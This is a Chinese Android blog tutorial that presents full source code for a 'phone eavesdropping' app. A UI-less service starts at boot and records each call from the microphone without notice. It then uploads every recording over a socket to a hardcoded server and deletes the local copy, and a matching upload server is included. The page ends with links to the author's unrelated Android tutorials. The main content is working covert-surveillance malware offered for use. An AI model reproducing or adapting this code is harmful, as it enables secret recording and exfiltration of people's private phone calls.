我的Android进阶之旅------>Android电话窃听实例

Step 1 :新建一个Android工程,命名为PhoneListenerService,本服务不需要界面

Step 2:主控制程序PhoneService.java代码如下:

package cn.roco.phonelistener;

import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;

import cn.roco.phonelistener.utils.StreamTool;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class PhoneService extends Service {

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	@Override
	public void onCreate() {
		super.onCreate();
		TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); //取得电话相关服务
		telephonyManager.listen(new PhoneListener(),
				PhoneStateListener.LISTEN_CALL_STATE);
	}

	private final class PhoneListener extends PhoneStateListener {
		private String incomingNumber;
		private MediaRecorder mediaRecorder;
		private File file;
		/**
		 * 回调函数
		 */
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_RINGING:// 来电
					this.incomingNumber = incomingNumber;
					break;

				case TelephonyManager.CALL_STATE_OFFHOOK:// 接通电话
					file = new File(Environment.getExternalStorageDirectory(),
							incomingNumber + System.currentTimeMillis()
									+ ".3gp");
					mediaRecorder = new MediaRecorder();
					// 从麦克风采集声音
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					// 内容输出格式
					mediaRecorder
							.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					// 音频编码方式
					mediaRecorder
							.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					// 输出文件位置
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					// 预期准备
					mediaRecorder.prepare();
					// 开始刻录音频
					mediaRecorder.start();
					break;

				case TelephonyManager.CALL_STATE_IDLE:// 挂断电话后回归到空闲状态
					if (mediaRecorder != null) {
						// 停止刻录
						mediaRecorder.stop();
						// 刻录完成一定要释放资源
						mediaRecorder.release();
						mediaRecorder = null;
						// 上传录制好的音频文件
						uploadFile();
					}
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}

		/**
		 * 上传录制好的音频文件
		 */
		private void uploadFile() {
			new Thread(new Runnable() {
				@Override
				public void run() {
					try {
						if (file != null && file.exists()) {
							Socket socket = new Socket("192.168.1.100", 7878);
							OutputStream outStream = socket.getOutputStream();
							String head = "Content-Length=" + file.length()
									+ ";filename=" + file.getName()
									+ ";sourceid=\r\n";
							outStream.write(head.getBytes());

							PushbackInputStream inStream = new PushbackInputStream(
									socket.getInputStream());
							String response = StreamTool.readLine(inStream);
							String[] items = response.split(";");
							String position = items[1].substring(items[1]
									.indexOf("=") + 1);

							RandomAccessFile fileOutStream = new RandomAccessFile(
									file, "r");
							fileOutStream.seek(Integer.valueOf(position));
							byte[] buffer = new byte[1024];
							int len = -1;
							while ((len = fileOutStream.read(buffer)) != -1) {
								outStream.write(buffer, 0, len);
							}
							fileOutStream.close();
							outStream.close();
							inStream.close();
							socket.close();
							file.delete();
							file = null;
						}
					} catch (Exception e) {
						e.printStackTrace();
					}
				}
			}).start();
		}
	}
}

Step 3 :工具类StreamTool.java代码如下:

package cn.roco.phonelistener.utils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PushbackInputStream;

public class StreamTool {

	public static void save(File file, byte[] data) throws Exception {
		FileOutputStream outStream = new FileOutputStream(file);
		outStream.write(data);
		outStream.close();
	}

	public static String readLine(PushbackInputStream in) throws IOException {
		char buf[] = new char[128];
		int room = buf.length;
		int offset = 0;
		int c;
		loop: while (true) {
			switch (c = in.read()) {
			case -1:
			case '\n':
				break loop;
			case '\r':
				int c2 = in.read();
				if ((c2 != '\n') && (c2 != -1))
					in.unread(c2);
				break loop;
			default:
				if (--room < 0) {
					char[] lineBuffer = buf;
					buf = new char[offset + 128];
					room = buf.length - offset - 1;
					System.arraycopy(lineBuffer, 0, buf, 0, offset);

				}
				buf[offset++] = (char) c;
				break;
			}
		}
		if ((c == -1) && (offset == 0))
			return null;
		return String.copyValueOf(buf, 0, offset);
	}

	/**
	 * 读取流
	 *
	 * @param inStream
	 * @return 字节数组
	 * @throws Exception
	 */
	public static byte[] readStream(InputStream inStream) throws Exception {
		ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
		byte[] buffer = new byte[1024];
		int len = -1;
		while ((len = inStream.read(buffer)) != -1) {
			outSteam.write(buffer, 0, len);
		}
		outSteam.close();
		inStream.close();
		return outSteam.toByteArray();
	}
}

Step 4 :编写开机启动的广播BootBroadcastReceiver.java  调用上面的PhoneService

package cn.roco.phonelistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

	/**
	 * 开机就启动PhoneService服务
	 */
	@Override
	public void onReceive(Context context, Intent intent) {
		Intent service=new Intent(context,PhoneService.class);//显示、隐式
		context.startService(service);
	}

}

Step 5:配置AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
	package="cn.roco.phonelistener" android:versionCode="1"
	android:versionName="1.0">
	<uses-sdk android:minSdkVersion="8" />

	<!-- 电话状态监听权限 -->
	<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
	<!-- SD卡中写入数据权限 -->
	<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
	<!-- 在SD卡中创建和删除文件权限 -->
	<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
	<!-- 音频刻录权限 -->
	<uses-permission android:name="android.permission.RECORD_AUDIO"/>
	 <!-- 访问internet权限 -->
	<uses-permission android:name="android.permission.INTERNET"/>

	<application android:icon="@drawable/icon" android:label="@string/app_name">
		<service android:name="PhoneService" />
		<!-- 开机启动的广播 -->
		<receiver android:name="BootBroadcastReceiver">
			<intent-filter>
				<action android:name="android.intent.action.BOOT_COMPLETED"/>
			</intent-filter>
		</receiver>
	</application>

</manifest>

Step 6:因为是通过socket上传文件到服务器,下面写服务器的主要代码FileService.java

package cn.itcast.net.server;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.ServerSocket;
import java.net.Socket;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

import cn.itcast.utils.StreamTool;

public class FileServer {

	 private ExecutorService executorService;//线程池
	 private int port;//监听端口
	 private boolean quit = false;//退出
	 private ServerSocket server;
	 private Map<Long, FileLog> datas = new HashMap<Long, FileLog>();//存放断点数据

	 public FileServer(int port){
		 this.port = port;
		 //创建线程池,池中具有(cpu个数*50)条线程
		 executorService = Executors.newFixedThreadPool(Runtime.getRuntime().availableProcessors() * 50);
	 }
	 /**
	  * 退出
	  */
	 public void quit(){
		this.quit = true;
		try {
			server.close();
		} catch (IOException e) {
		}
	 }
	 /**
	  * 启动服务
	  * @throws Exception
	  */
	 public void start() throws Exception{
		 server = new ServerSocket(port);
		 while(!quit){
	         try {
	           Socket socket = server.accept();
	           //为支持多用户并发访问,采用线程池管理每一个用户的连接请求
	           executorService.execute(new SocketTask(socket));
	         } catch (Exception e) {
	           //  e.printStackTrace();
	         }
	     }
	 }

	 private final class SocketTask implements Runnable{
		private Socket socket = null;

		public SocketTask(Socket socket) {
			this.socket = socket;
		}

		public void run() {
			try {
				System.out.println("accepted connection "+ socket.getInetAddress()+ ":"+ socket.getPort());
				PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
				//得到客户端发来的第一行协议数据:Content-Length=143253434;filename=xxx.3gp;sourceid=
				//如果用户初次上传文件,sourceid的值为空。
				String head = StreamTool.readLine(inStream);
				System.out.println(head);
				if(head!=null){
					//下面从协议数据中提取各项参数值
					String[] items = head.split(";");
					String filelength = items[0].substring(items[0].indexOf("=")+1);
					String filename = items[1].substring(items[1].indexOf("=")+1);
					String sourceid = items[2].substring(items[2].indexOf("=")+1);	

					long id = System.currentTimeMillis();//生产资源id,如果需要唯一性,可以采用UUID
					FileLog log = null;
					if(sourceid!=null && !"".equals(sourceid)){
						id = Long.valueOf(sourceid);
						log = find(id);//查找上传的文件是否存在上传记录
					}

					File file = null;
					int position = 0;
					if(log==null){//如果不存在上传记录,为文件添加跟踪记录
						String path = new SimpleDateFormat("yyyy/MM/dd/HH/mm").format(new Date());
						File dir = new File("uploadfiles/"+ path);
						if(!dir.exists()) dir.mkdirs();
						file = new File(dir, filename);
						if(file.exists()){//如果上传的文件发生重名,然后进行改名
							filename = filename.substring(0, filename.indexOf(".")-1)+ dir.listFiles().length+ filename.substring(filename.indexOf("."));
							file = new File(dir, filename);
						}
						save(id, file);
					}else{// 如果存在上传记录,读取已经上传的数据长度
						file = new File(log.getPath());//从上传记录中得到文件的路径
						if(file.exists()){
							File logFile = new File(file.getParentFile(), file.getName()+".log");
							if(logFile.exists()){
								Properties properties = new Properties();
								properties.load(new FileInputStream(logFile));
								position = Integer.valueOf(properties.getProperty("length"));//读取已经上传的数据长度
							}
						}
					}

					OutputStream outStream = socket.getOutputStream();
					String response = "sourceid="+ id+ ";position="+ position+ "\r\n";
					//服务器收到客户端的请求信息后,给客户端返回响应信息:sourceid=1274773833264;position=0
					//sourceid由服务器端生成,唯一标识上传的文件,position指示客户端从文件的什么位置开始上传
					outStream.write(response.getBytes());

					RandomAccessFile fileOutStream = new RandomAccessFile(file, "rwd");
					if(position==0) fileOutStream.setLength(Integer.valueOf(filelength));//设置文件长度
					fileOutStream.seek(position);//指定从文件的特定位置开始写入数据
					byte[] buffer = new byte[1024];
					int len = -1;
					int length = position;
					while( (len=inStream.read(buffer)) != -1){//从输入流中读取数据写入到文件中
						fileOutStream.write(buffer, 0, len);
						length += len;
						Properties properties = new Properties();
						properties.put("length", String.valueOf(length));
						FileOutputStream logFile = new FileOutputStream(new File(file.getParentFile(), file.getName()+".log"));
						properties.store(logFile, null);//实时记录已经接收的文件长度
						logFile.close();
					}
					if(length==fileOutStream.length()) delete(id);
					fileOutStream.close();
					inStream.close();
					outStream.close();
					file = null;

				}
			} catch (Exception e) {
				e.printStackTrace();
			}finally{
	            try {
	                if(socket!=null && !socket.isClosed()) socket.close();
	            } catch (IOException e) {}
	        }
		}
	 }

	 public FileLog find(Long sourceid){
		 return datas.get(sourceid);
	 }
	 //保存上传记录
	 public void save(Long id, File saveFile){
		 //日后可以改成通过数据库存放
		 datas.put(id, new FileLog(id, saveFile.getAbsolutePath()));
	 }
	 //当文件上传完毕,删除记录
	 public void delete(long sourceid){
		 if(datas.containsKey(sourceid)) datas.remove(sourceid);
	 }

	 private class FileLog{
		private Long id;
		private String path;

		public Long getId() {
			return id;
		}
		public void setId(Long id) {
			this.id = id;
		}
		public String getPath() {
			return path;
		}
		public void setPath(String path) {
			this.path = path;
		}
		public FileLog(Long id, String path) {
			this.id = id;
			this.path = path;
		}
	 }

}

Step 7:启动服务器,监听Socket端口,接收android客户端上传的文件

package cn.itcast.net.server;

import java.awt.BorderLayout;
import java.awt.Frame;
import java.awt.Label;
import java.awt.event.WindowEvent;
import java.awt.event.WindowListener;

public class ServerWindow extends Frame{
	private FileServer s = new FileServer(7878);
	private Label label;

	public ServerWindow(String title){
		super(title);
		label = new Label();
		add(label, BorderLayout.PAGE_START);
		label.setText("服务器已经启动");
		this.addWindowListener(new WindowListener() {
			public void windowOpened(WindowEvent e) {
				new Thread(new Runnable() {
					public void run() {
						try {
							s.start();
						} catch (Exception e) {
						}
					}
				}).start();
			}

			public void windowIconified(WindowEvent e) {
			}

			public void windowDeiconified(WindowEvent e) {
			}

			public void windowDeactivated(WindowEvent e) {
			}

			public void windowClosing(WindowEvent e) {
				 s.quit();
				 System.exit(0);
			}

			public void windowClosed(WindowEvent e) {
			}

			public void windowActivated(WindowEvent e) {
			}
		});
	}
	/**
	 * @param args
	 */
	public static void main(String[] args) {
		ServerWindow window = new ServerWindow("文件上传服务端");
		window.setSize(300, 300);
		window.setVisible(true);

	}

}

Step 8:安装完服务之后,重启模拟器,再通话,运行的具体结果是:在客户端的SD卡中会有记录,在服务器的uploadfiles目录下也会有从客户端上传而来的文件。

(通话中)

通话之前的Socket项目截图如下:                                                          
                    Android客户端把通话记录上传之后截图如下:

                                                                    

==================================================================================================

  作者:欧阳鹏  欢迎转载,与人分享是进步的源泉!

  转载请保留原文地址:http://blog.csdn.net/ouyang_peng

==================================================================================================

时间: 2024-10-08 02:39:13

我的Android进阶之旅------&gt;Android电话窃听实例的相关文章

我的Android进阶之旅------&amp;gt;Android利用温度传感器实现带动画效果的电子温度计

     要想实现带动画效果的电子温度计,需要以下几个知识点: 1.温度传感器相关知识. 2.ScaleAnimation动画相关知识,来进行水印刻度的缩放效果. 3.android:layout_weight属性的合理运用,关于android:layout_weight属性的讲解,可以参考:<我的Android进阶之旅------>关于android:layout_weight属性的一个面试题> 地址为:http://blog.csdn.net/ouyang_peng/article/

我的Android进阶之旅------&amp;gt;Android疯狂连连看游戏的实现之状态数据模型(三)

对于游戏玩家而言,游戏界面上看到的"元素"千变万化:但是对于游戏开发者而言,游戏界面上的元素在底层都是一些数据,不同数据所绘制的图片有所差异而已.因此建立游戏的状态数据模型是实现游戏逻辑的重要步骤. 1.定义数据模型 连连看的界面是一个NxM的"网格",每个网格上显示一张图片.而这个网格只需要一个二维数组来定义即可,而每个网格上所显示的图片,对于底层数据模型来说,不同的图片对于着不同的数值即可. 对于上图所示的数据模型,只要让数值为0的网格上不绘制图片,其他数值的网

我的Android进阶之旅------&amp;gt;Android疯狂连连看游戏的实现之开发游戏界面(二)

连连看的游戏界面十分简单,大致可以分为两个区域: 游戏主界面区 控制按钮和数据显示区 1.开发界面布局 本程序使用一个RelativeLayout作为整体的界面布局元素,界面布局上面是一个自定义组件,下面是一个水平排列的LinearLayout. 下面是本程序的布局文件:/res/layout/main.xml <?xml version="1.0" encoding="utf-8"?> <RelativeLayout xmlns:android=

我的Android进阶之旅------&amp;gt;Android疯狂连连看游戏的实现之加载界面图片和实现游戏Activity(四)

正如在<我的Android进阶之旅------>Android疯狂连连看游戏的实现之状态数据模型(三)>一文中看到的,在AbstractBoard的代码中,当程序需要创建N个Piece对象时,程序会直接调用ImageUtil的getPlayImages()方法去获取图片,该方法会随机从res/drawable目录中取得N张图片. 下面是res/drawable目录视图: 为了让getPlayImages()方法能随机从res/drawable目录中取得N张图片,具体实现分为以下几步: 通

我的Android进阶之旅------&amp;gt; Android为TextView组件中显示的文本添加背景色

通过上一篇文章 我的Android进阶之旅------> Android在TextView中显示图片方法 (地址:http://blog.csdn.net/ouyang_peng/article/details/46916963)      我们学会了在TextView中显示图片的方法,现在我们来学习如何为TextView组件中显示的文本添加背景色.要求完成的样子如图所示: 首先来学习使用BackgroundColorSpan对象设置文字背景色,代码如下: TextView textView=(

我的Android进阶之旅------&amp;gt;Android权限参考大全

访问登记属性 android.permission.ACCESS_CHECKIN_PROPERTIES ,读取或写入登记check-in数据库属性表的权限 获取错略位置 android.permission.ACCESS_COARSE_LOCATION,通过WiFi或移动基站的方式获取用户错略的经纬度信息,定位精度大概误差在30~1500米 获取精确位置 android.permission.ACCESS_FINE_LOCATION,通过GPS芯片接收卫星的定位信息,定位精度达10米以内 访问定

我的Android进阶之旅------&amp;gt;Android颜色值(#AARRGGBB)透明度百分比和十六进制对应关系以及计算方法

我的Android进阶之旅-->Android颜色值(RGB)所支持的四种常见形式 透明度百分比和十六进制对应关系表格 透明度 十六进制 100% FF 99% FC 98% FA 97% F7 96% F5 95% F2 94% F0 93% ED 92% EB 91% E8 90% E6 89% E3 88% E0 87% DE 86% DB 85% D9 84% D6 83% D4 82% D1 81% CF 80% CC 79% C9 78% C7 77% C4 76% C2 75% B

我的Android进阶之旅------&amp;gt;Android颜色值(RGB)所支持的四种常见形式

Android中颜色值是通过红(Red).绿(Green).蓝(Blue)三原色,以及一个透明度(Alpha)值来表示的,颜色值总是以井号(#)开头,接下来就是Alpha-Red-Green-Blue的形式.其中Alpha值可以省略,如果省略了Alpha的值,那么该颜色默认是完全不透明的. Android的颜色值支持常见的四种形式如下所示: #RGB:分别指定红.绿.蓝三原色的值(只支持0~f这16级颜色)来代表颜色. #ARGB:分别指定红.绿.蓝三原色的值(只支持0~f这16级颜色)及透明度

我的Android进阶之旅------&amp;gt;Android疯狂连连看游戏的实现之游戏效果预览(一)

今天看完了李刚老师的<疯狂Android讲义>一书中的第18章<疯狂连连看>,从而学会了如何编写一个简单的Android疯狂连连看游戏.      开发这个流行的小游戏,难度适中,而且能充分激发学习热情,适合Android初学者来说是一个不错的选择.对于该游戏的开发,需要重点掌握单机游戏的界面分析和数据建模能力:游戏玩家严重看到的是游戏界面,但是在开发者眼中看到的应该是数据模型.除此之外,单机游戏通常需要一个比较美观的界面,需要通过自定义View来实现游戏主界面.      开发连

我的Android进阶之旅------&amp;gt;Android疯狂连连看游戏的实现之实现游戏逻辑(五)

在上一篇<我的Android进阶之旅------>Android疯狂连连看游戏的实现之加载界面图片和实现游戏Activity(四)>中提到的两个类: GameConf:负责管理游戏的初始化设置信息. GameService:负责游戏的逻辑实现. 其中GameConf的代码如下:cn\oyp\link\utils\GameConf.java package cn.oyp.link.utils; import android.content.Context; /** * 保存游戏配置的对象